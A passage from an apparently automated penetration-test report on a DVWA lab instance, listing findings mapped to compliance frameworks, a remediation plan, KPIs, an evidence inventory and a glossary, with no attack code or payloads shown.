Exposed Outdated MySQL Service	Critical	N/A	N/A	Article 32 – Security of processing	A.8.8 Management of technical vulnerabilities	Protect
Vertical IDOR allows standard users to access admin endpoints	Critical	CWE-639	A01:2021 – Broken Access Control	Article 5(1)(f), Article 32	A.5.15 Access control	Protect
Exposed MySQL Root Access over Network	Critical	N/A	N/A	Article 32 – Security of processing	A.8.20 Networks security	Protect
Local File Inclusion / Remote Code Execution in fi endpoint	Critical	CWE-98	Review required	Article 32 – Security of processing	A.8.28 Secure coding	Protect
Reflected XSS in `/vulnerabilities/xss_r/`	High	CWE-79	A03:2021 – Injection	Article 32 – Security of processing	A.8.28 Secure coding	Protect
Stored XSS in `/vulnerabilities/xss_s/`	High	CWE-79	A03:2021 – Injection	Article 32 – Security of processing	A.8.28 Secure coding	Protect
Cross-Site Request Forgery in `/vulnerabilities/csrf/`	High	CWE-352	A01:2021 – Broken Access Control	Article 32 – Security of processing	A.8.26 Application security requirements	Protect
Brute Force Weakness in `/vulnerabilities/brute/`	High	N/A	N/A	Article 32 – Security of processing	A.5.17 Authentication information	Protect

FINDING	SEVERITY	CWE	OWASP TOP 10	GDPR ARTICLE	ISO 27001 CONTROL	NIST CSF FUNCTION
Insecure CAPTCHA in `/vulnerabilities/captcha/`	High	N/A	N/A	Article 32 – Security of processing	A.5.17 Authentication information	Protect
Unrestricted File Upload in `/vulnerabilities/upload/`	High	CWE-434	A04:2021 – Insecure Design	Article 32 – Security of processing	A.8.28 Secure coding	Protect
Exposed php.ini with Dangerous PHP Settings	High	N/A	N/A	Article 32 – Security of processing	A.8.9 Configuration management	Protect
Authenticated phpinfo.php Exposure	High	N/A	N/A	Article 32 – Security of processing	A.8.9 Configuration management	Protect
Exposed DVWA Configuration with Default Database Credentials	High	N/A	N/A	Article 32 – Security of processing	A.5.17 Authentication information	Protect
PHP allow*url*include Enabled	High	N/A	N/A	Article 32 – Security of processing	A.8.9 Configuration management	Protect
DOM XSS via eval() in popUp() function	High	CWE-79	A03:2021 – Injection	Article 32 – Security of processing	A.8.28 Secure coding	Protect
PHPIDS log viewer accessible	High	N/A	N/A	Article 32 – Security of processing	A.8.15 Logging	Detect
Weak Password Storage Using MD5 Hashes	High	N/A	N/A	Article 32 – Security of processing	A.8.24 Use of cryptography	Protect
Session Fixation on Authentication	High	N/A	N/A	Article 32 – Security of processing	A.5.17 Authentication information	Protect
No Brute Force Protection on Login Form	High	N/A	N/A	Article 32 – Security of processing	A.5.17 Authentication information	Protect
Missing Referer and Origin Validation	High	N/A	N/A	Article 32 – Security of processing	A.8.26 Application security requirements	Protect
Horizontal IDOR in SQL Injection module exposes other users' data	High	CWE-89	A03:2021 – Injection	Article 5(1)(f), Article 32	A.5.15 Access control	Protect
MySQL Password Hash Disclosure	High	N/A	N/A	Article 32 – Security of processing	A.8.24 Use of cryptography	Protect

Framework Risk Summary

GDPR: The findings indicate a critical compliance risk to GDPR security obligations, particularly Article 32 requirements for appropriate technical and organisational measures. Issues such as injection, command execution, remote code execution, exposed database access, weak password storage, and access control weaknesses could compromise confidentiality, integrity, and availability of personal data. The IDOR and data exposure findings also raise concerns under Article 5(1)(f), which requires personal data to be processed with appropriate security.

PCI DSS: If this environment stores, processes, or transmits cardholder data, the identified findings would represent a critical PCI DSS risk. Exposed database services, default credentials, weak authentication controls, injection vulnerabilities, unrestricted upload, and insecure configuration are directly relevant to secure system configuration, secure software development, access restriction, authentication, vulnerability management, and logging expectations under PCI DSS.

ISO 27001: The findings indicate a critical risk against ISO 27001 control objectives related to access control, authentication information, secure coding, vulnerability management, configuration management, cryptography, network security, and logging. The concentration of Critical and High severity findings suggests that multiple preventive and detective controls are either ineffective or not consistently implemented.

NIST CSF: The findings primarily impact the Protect function due to weaknesses in secure configuration, authentication, access control, application security, and data protection. The accessible PHPIDS log viewer also affects the Detect function. Overall, the volume and severity of exploitable weaknesses indicate a critical gap in protective controls and an elevated likelihood of compromise.

Compliance Risk Ratings

FRAMEWORK	RISK LEVEL	KEY CONCERN
GDPR	Critical	Potential compromise of personal data confidentiality, integrity, and availability due to injection, access control, exposed services, weak authentication, and insecure configuration.
PCI DSS	Critical	Web application and database weaknesses could expose sensitive account data if the environment is in PCI scope.
ISO 27001	Critical	Multiple failures across access control, secure coding, configuration management, vulnerability management, cryptography, and logging controls.
NIST CSF	Critical	Significant weakness in the Protect function, with additional Detect concerns due to exposed logging functionality.

14 Remediation Guide

QUICK WINS (24-48H)

1. VULN-cold-mat-0017 **Directory Listing Enabled on Sensitive Paths** — Disable autoindex/directory listing for affected paths or add access-denying index files.
2. VULN-cold-mat-0018 **User Enumeration via /hackable/users/ Directory Listing** — Disable directory listing for /hackable/users/ immediately.
3. VULN-cold-mat-0019 **Application Documentation Exposed** — Remove public access to documentation files not required by the application.
4. VULN-cold-mat-0038 **Session Cookies Missing Security Attributes** — Set HttpOnly and SameSite on session cookies and use Secure wherever HTTPS is enabled.
5. VULN-cold-mat-0048 **Source and Hint Disclosure via Query Parameters** — Disable source and hint query functionality in deployed environments.
6. VULN-cold-mat-0046 **PHPIDS path disclosure via error message** — Disable verbose error output and hide PHPIDS path details from users.
7. VULN-cold-mat-0051 **Legacy/EOL software stack detected** — Restrict exposure of legacy services to trusted networks and apply available security patches.
8. VULN-cold-mat-0057 **Client-Side Security Level Cookie Manipulation** — Ignore client-supplied security-level cookies and force the safest server-side level.
9. VULN-cold-mat-0058 **Session Garbage Collection Disabled** — Set session.gc_probability to a nonzero value or schedule immediate cleanup of expired session files.
10. VULN-cold-mat-0065 **Unauthenticated CSRF Database Reset** — Disable setup.php or block database reset actions immediately.
11. VULN-cold-mat-0070 **Predictable sequential user IDs enable enumeration** — Restrict access to enumerable user lookup endpoints until authorization is enforced.
12. VULN-cold-mat-0072 **HTTP Method Bypass on Setup Endpoint** — Block PUT, DELETE, and unnecessary methods for setup.php at the web server.
13. VULN-cold-mat-0076 **Cross-Site Scripting** — Filter active script payloads and deploy a temporary CSP to reduce immediate exploitation.
14. VULN-cold-mat-0022 **robots.txt Reveals Site-Wide Disallow Rule** — Remove sensitive path references from robots.txt if they are not required.
15. VULN-cold-mat-0023 **No WAF Protection Detected** — Apply emergency reverse-proxy or WAF rules for known high-risk endpoints and payload classes.
16. VULN-cold-mat-0027 **Source Code Exposure via Directory Listings** — Disable directory listing and remove exposed source files that are not required for runtime.
17. VULN-cold-mat-0033 **Missing HTTP Security Headers** — Add X-Frame-Options, X-Content-Type-Options, and a basic Content-Security-Policy at the web server.
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23. VULN-cold-mat-0073 **Multiple Concurrent Sessions Allowed** — Invalidate existing sessions for a user when a new login occurs if concurrent sessions are not required.

SOFTWARE LIFECYCLE

1. `VULN-cold-mat-0031` **Exposed Outdated MySQL Service** — Block external access to TCP/3306 using firewall rules and restrict MySQL to trusted application hosts only.
2. `VULN-cold-mat-0019` **Application Documentation Exposed** — Remove public access to documentation files not required by the application.
3. `VULN-cold-mat-0051` **Legacy/EOL software stack detected** — Restrict exposure of legacy services to trusted networks and apply available security patches.
4. `VULN-cold-mat-0035` **Apache Server Version Disclosure** — Disable detailed server tokens/version banners in Apache configuration.

CONFIGURATION MANAGEMENT

1. `VULN-cold-mat-0025` **PHP allow_url_include Enabled** — Set allow_url_include=Off and reload the web/PHP service immediately.
2. `VULN-cold-mat-0040` **Exposed setup page** — Remove setup.php or block access to it from all untrusted networks.
3. `VULN-cold-mat-0067` **Sensitive Setup and Configuration Path Disclosure** — Restrict or remove setup.php and suppress internal path output.

APPLICATION SECURITY

1. `VULN-cold-mat-0006` **Blind SQL Injection in /vulnerabilities/sqli_blind/** — Disable or restrict access to the vulnerable endpoint and increase DVWA/application security level while code is fixed.
2. `VULN-cold-mat-0007` **Command Injection in /vulnerabilities/exec/** — Disable the command execution feature or block access to the endpoint at the web server/WAF immediately.
3. `VULN-cold-mat-0024` **Exposed DVWA Development Instance with Low Security Level** — Remove the instance from public access or restrict it to an isolated lab subnet/VPN immediately.
4. `VULN-cold-mat-0068` **Vertical IDOR allows standard users to access admin endpoints** — Restrict administrative endpoints to admin users or block them at the web server until authorization checks are implemented.
5. `VULN-cold-mat-0082` **Exposed MySQL Root Access over Network** — Disable remote root login and block TCP/3306 from untrusted networks immediately.
6. `VULN-cold-mat-0085` **Local File Inclusion / Remote Code Execution in fi endpoint** — Disable the vulnerable file inclusion endpoint or restrict page parameters to known-safe values immediately.
7. `VULN-cold-mat-0080` **Unrestricted MySQL secure_file_priv Configuration** — Set secure_file_priv to a dedicated non-web directory or disable file import/export and restart MySQL.
8. `VULN-cold-mat-0009` **Reflected XSS in /vulnerabilities/xss_r/** — Block or sanitize script-like input on the vulnerable parameter and deploy a restrictive temporary CSP.
9. `VULN-cold-mat-0010` **Stored XSS in /vulnerabilities/xss_s/** — Remove malicious stored content and temporarily disable user-controlled HTML submission.
10. `VULN-cold-mat-0011` **Cross-Site Request Forgery in /vulnerabilities/csrf/** — Disable vulnerable state-changing actions or require re-authentication until CSRF protection is added.
11. `VULN-cold-mat-0012` **Brute Force Weakness in /vulnerabilities/brute/** — Add temporary rate limiting at the web server or WAF for login and brute-force endpoints.
12. `VULN-cold-mat-0014` **Unrestricted File Upload in /vulnerabilities/upload/** — Disable uploads or block executable extensions and execution in the upload directory immediately.
13. `VULN-cold-mat-0015` **Exposed php.ini with Dangerous PHP Settings** — Remove php.ini from the web root or deny direct web access to configuration files.
14. `VULN-cold-mat-0016` **Authenticated phpinfo.php Exposure** — Delete phpinfo.php or restrict it to administrators from trusted networks only.
15. `VULN-cold-mat-0020` **Exposed DVWA Configuration with Default Database Credentials** — Block web access to the config directory and rotate any exposed database credentials immediately.
16. `VULN-cold-mat-0041` **DOM XSS via eval() in popUp() function** — Remove or disable the eval-based popUp function until it is rewritten safely.
17. `VULN-cold-mat-0042` **PHPIDS log viewer accessible** — Restrict ids_log.php to administrators or trusted management IPs immediately.
18. `VULN-cold-mat-0055` **Session Fixation on Authentication** — Force logout of active sessions and update authentication logic to regenerate session IDs on login.

19. `VULN-cold-mat-0056` **No Brute Force Protection on Login Form** — Apply emergency rate limiting per IP and username on login requests.
20. `VULN-cold-mat-0066` **Missing Referer and Origin Validation** — Block sensitive state-changing requests lacking valid CSRF tokens or trusted Origin/Referer headers.
21. `VULN-cold-mat-0069` **Horizontal IDOR in SQL Injection module exposes other users' data** — Restrict the affected endpoint or block access for non-admin users until authorization is fixed.
22. `VULN-cold-mat-0077` **MySQL Password Hash Disclosure** — Rotate exposed credentials and restrict database access immediately.
23. `VULN-cold-mat-0084` **World-Writable Web Root Permissions** — Remove world-writable permissions from /var/www/html and restore ownership to the web deployment user/group.
24. `VULN-cold-mat-0017` **Directory Listing Enabled on Sensitive Paths** — Disable autoindex/directory listing for affected paths or add access-denying index files.
25. `VULN-cold-mat-0018` **User Enumeration via /hackable/users/ Directory Listing** — Disable directory listing for /hackable/users/ immediately.
26. `VULN-cold-mat-0038` **Session Cookies Missing Security Attributes** — Set HttpOnly and SameSite on session cookies and use Secure wherever HTTPS is enabled.
27. `VULN-cold-mat-0048` **Source and Hint Disclosure via Query Parameters** — Disable source and hint query functionality in deployed environments.
28. `VULN-cold-mat-0057` **Client-Side Security Level Cookie Manipulation** — Ignore client-supplied security-level cookies and force the safest server-side level.
29. `VULN-cold-mat-0058` **Session Garbage Collection Disabled** — Set session.gc_probability to a nonzero value or schedule immediate cleanup of expired session files.
30. `VULN-cold-mat-0065` **Unauthenticated CSRF Database Reset** — Disable setup.php or block database reset actions immediately.
31. `VULN-cold-mat-0070` **Predictable sequential user IDs enable enumeration** — Restrict access to enumerable user lookup endpoints until authorization is enforced.
32. `VULN-cold-mat-0072` **HTTP Method Bypass on Setup Endpoint** — Block PUT, DELETE, and unnecessary methods for setup.php at the web server.
33. `VULN-cold-mat-0076` **Cross-Site Scripting** — Filter active script payloads and deploy a temporary CSP to reduce immediate exploitation.
34. `VULN-cold-mat-0023` **No WAF Protection Detected** — Apply emergency reverse-proxy or WAF rules for known high-risk endpoints and payload classes.
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1-3 MONTHS

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02	Address Insufficient Input Validation	—

6-12 MONTHS

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SUCCESS METRICS

KPI	TARGET
Open Critical findings	= 0 (target)
Open High findings	= 0 within 30 days
Mean time to patch CRITICAL CVEs	≤ 7 days
Validation coverage on remediated findings	100%
Findings reopened on follow-up retest	= 0

16 Conclusion and Next Steps

The engagement assessed **1** external target(s) and produced **50** verified finding(s) with an overall risk rating of **CRITICAL** (100/100).
Most exposed surface: http://172.17.0.3. These targets accumulate Critical or High severity findings and should drive the immediate remediation effort.

NEXT STEPS

1. Address every Tier 1 (Immediate) finding within 7 days and confirm closure with the supplied validation steps.
2. Complete Tier 2 (Short-term) remediation within the next maintenance window (≤ 30 days).
3. Schedule a follow-up retest once Tier 1 and Tier 2 items are closed.
4. Establish (or reinforce) an organisation-wide vulnerability-management programme with monthly CVE review.
5. Promote the systemic issues identified in this report into long-term security-engineering initiatives (CSP rollout, dependency hygiene, secure-coding training).

Appendix A — Evidence Inventory

BY TARGET

TARGET	LINKED EVIDENCE	INDEXED FILES	TOTAL SIZE
http://172.17.0.3	371	371	12,908,373 B

BY PHASE

PHASE	FILES
web	206
exploitation	75
post_exploitation	60
recon	16
orchestrator	8
enumeration	4
exploit	1
post_exploit	1

BY TYPE

CONTENT TYPE	FILES
log	187
http_capture	41
notes	36
summary	28
screenshot	26
evidence_text	25
exploit_code	13
artifact	8
phase_summary	6
payload	1

18 Appendix B — Glossary

TERM	DEFINITION
CVE	Common Vulnerabilities and Exposures — public catalogue of disclosed vulnerabilities.
CVSS	Common Vulnerability Scoring System — standardised severity score (0.0–10.0).
CWE	Common Weakness Enumeration — taxonomy of software weaknesses.
OWASP	Open Worldwide Application Security Project — non-profit publishing security guidance such as the Top 10.
PTES	Penetration Testing Execution Standard.
NIST	U.S. National Institute of Standards and Technology — publishes the SP 800-115 testing guide and the Cybersecurity Framework.
GDPR	General Data Protection Regulation — European personal-data protection law.
ISO 27001	International standard for information security management systems.
PCI-DSS	Payment Card Industry Data Security Standard.
DMARC	Domain-based Message Authentication, Reporting and Conformance — email-spoofing policy mechanism.
SPF	Sender Policy Framework — email authentication via DNS allow-listing.
DKIM	DomainKeys Identified Mail — cryptographic signing of email headers.
AXFR	DNS Zone Transfer — full zone replication operation.
WAF	Web Application Firewall.
SSRF	Server-Side Request Forgery.
XSS	Cross-Site Scripting.
SQLi	SQL Injection.
IDOR	Insecure Direct Object Reference.
JWT	JSON Web Token — compact token format used in stateless authentication.
HSTS	HTTP Strict Transport Security header.
CSP	Content Security Policy header.
XFO	X-Frame-Options header (anti-clickjacking).
TLS	Transport Layer Security — successor to SSL.
RCE	Remote Code Execution.
LFI	Local File Inclusion.

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